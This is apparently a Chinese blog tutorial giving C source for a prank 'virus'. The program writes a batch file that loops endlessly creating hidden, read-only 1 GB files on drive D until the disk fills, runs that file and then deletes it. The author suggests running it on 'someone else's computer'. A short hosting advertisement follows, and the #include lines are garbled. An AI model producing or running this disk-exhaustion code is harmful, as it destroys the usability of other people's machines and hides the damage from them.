1、用c语言在windows系统上创建批处理文件,也就是bat文件。
2、用c语言把所需要的操作写入这个文件。
3、用c语言执行这个文件。
你可以编译该代码,但是请在虚拟机上运行或在别人电脑上运行。
#include#includevoid f(){//编写毒文件
FILE* f;
f = fopen("d:\\winSystemaa.bat", "w");//创建毒文件
fputs("SET /A a=0\n", f);//设置变量,拼接名字,防止重复
fputs(":a1\n", f);//设置批处理块,便于无限调用
fputs("fsutil file createnew d:\\sys%a%.ini 1073741824 >nul 2>nul\n", f);//创建1G的文件
fputs("attrib +s +a +h +r d:\sys%a%.ini >nul 2>nul\n", f);//将该文件设置为隐藏
fputs("set /A a=%a%+1\n", f);//变量增1
fputs("goto a1\n", f);//递归调用
fclose(f); //关闭毒文件
}
void g(){system("d:\\winSystemaa.bat");//执行毒文件
system("del d:\\winSystemaa.bat");//删除毒文件
}
int main(){f();//创建“毒”文件函数
g();//执行读文件函数
}
演示可以看到虚拟机上的d盘有29.9G
双击上面编译好的exe文件后
你是否还在寻找稳定的海外服务器提供商?创新互联www.cdcxhl.cn海外机房具备T级流量清洗系统配攻击溯源,准确流量调度确保服务器高可用性,企业级服务器适合批量采购,新人活动首月15元起,快前往官网查看详情吧